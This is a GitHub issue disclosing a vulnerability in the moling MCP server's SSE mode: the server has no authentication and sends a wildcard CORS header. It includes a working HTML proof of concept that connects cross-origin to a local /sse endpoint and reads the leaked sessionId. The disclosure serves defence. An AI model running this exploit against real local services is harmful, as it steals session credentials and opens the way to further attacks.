-
Notifications
You must be signed in to change notification settings - Fork 41
vulnerability:SSE No Authentication + CORS: * #41
Description
This vulnerability is found by Songwu security researcher,Zeyu Luo security researcher, Dr. CAO Yinfeng, Kevin(The Hong Kong Polytechnic University / HKCT Institute of Higher Education)
vulnerability description
When moling is started in SSE mode with the -l flag, the HTTP server does not implement any authentication mechanism. In addition, the underlying mcp-go library hardcodes Access-Control-Allow-Origin: * in the HTTP response headers for the /sse endpoint.
Under normal circumstances, the browser’s Same-Origin Policy (SOP) would prevent scripts from site A from reading responses from site B. However, Access-Control-Allow-Origin: * explicitly tells the browser that “any website is allowed to read my response.” As a result, any webpage can use EventSource to connect to /sse and fully read the SSE stream, including the sessionId contained in it.
POC
```html
<!DOCTYPE html>
<!--
PoC #1 — SSE No Authentication + CORS: *
=======================================
Principle:
The /sse endpoint responds with Access-Control-Allow-Origin: *
→ The browser allows EventSource connections from any website across origins
→ The sessionId can be fully read
Verification goal:
Demonstrate that the SSE stream can be read cross-origin and the sessionId obtained
(This PoC validates the vulnerability only; it does not execute commands)
Victim prerequisite:
moling -l 127.0.0.1:6789 (or any address)
-->
<html>
<head><meta charset="utf-8"><title>PoC #1 - CORS No Auth</title>
<style>
body { font-family: monospace; background: #0d1117; color: #c9d1d9; padding: 20px; }
pre { background: #010409; border: 1px solid #30363d; padding: 14px;
border-radius: 6px; white-space: pre-wrap; }
.ok { color: #3fb950; } .err { color: #ff7b72; } .info { color: #79c0ff; }
.key { color: #e3b341; }
</style>
</head>
<body>
<h2>PoC #1 — SSE No Authentication + CORS: *</h2>
<p>Current page origin: <code id="origin"></code></p>
<pre id="out">Waiting...</pre>
<script>
document.getElementById('origin').textContent = location.origin;
const out = document.getElementById('out');
const log = (s, c='') => {
const e = document.createElement('span');
e.className = c; e.textContent = s + '\n';
out.appendChild(e);
};
// ─────────────────────────────────────────────────────────────────
// Core idea: cross-origin EventSource connection
//
// This page comes from evil-attacker.com (or file://, or any other origin)
// The target server is on 127.0.0.1:6789
// Their origins are completely different → under normal circumstances,
// the browser would refuse to let this page read the response
//
// But /sse returns Access-Control-Allow-Origin: *
// → the browser lifts the restriction and allows the SSE stream to be read
// ─────────────────────────────────────────────────────────────────
const TARGET = 'http://127.0.0.1:6789';
log('=== PoC #1: SSE No Authentication + CORS: * ===\n');
log(`[*] Attacker origin: ${location.origin}`);
log(`[*] Target server: ${TARGET}`);
log(`[*] Expected to get: sessionId\n`);
log('[*] Connecting to ' + TARGET + '/sse ...');
// The browser automatically includes the Origin header in the request
// The server responds with Access-Control-Allow-Origin: * → reading is allowed
const es = new EventSource(TARGET + '/sse');
es.onopen = () => {
log('[+] SSE connection established successfully (cross-origin!)', 'ok');
log('[+] The server performs no authentication checks', 'ok');
};
// The server's CORS header allows the browser to read this event
// If the server did not return Access-Control-Allow-Origin,
// this would fail silently
es.addEventListener('endpoint', (e) => {
log('\n[+] Received SSE event "endpoint" (cross-origin read succeeded!)', 'ok');
log(`[+] Full data: ${e.data}`, 'info');
const sessionId = e.data.split('sessionId=')[1];
log(`\n[!!!] sessionId leaked: ${sessionId}`, 'key');
log('\n[*] Vulnerability verification complete:', 'ok');
log(' ✓ A page served from ' + location.origin);
log(' ✓ Successfully read http://127.0.0.1:6789/sse cross-origin');
log(' ✓ Obtained the sessionId (credential for follow-up attacks)');
log('\n[*] If this vulnerability is fixed (remove CORS: *):');
log(' × EventSource will fail silently');
log(' × sessionId will not leak');
log(' × All subsequent attacks will be blocked');
es.close();
});
es.onerror = () => {
log('[-] SSE connection failed (service not running, or CORS already fixed)', 'err');
};
// ─────────────────────────────────────────────────────────────────
// Technical notes:
//
// EventSource is a CORS "simple request":
// - Method: GET
// - No custom request headers (only Accept: text/event-stream)
//
// The server response headers determine whether it is readable:
// Access-Control-Allow-Origin: * → readable from any origin ← current state (vulnerable)
// Access-Control-Allow-Origin: <none> → browser blocks reading (safe)
// Access-Control-Allow-Origin: https://example.com → readable only from that origin (safe)
// ─────────────────────────────────────────────────────────────────
</script>
</body>
</html>
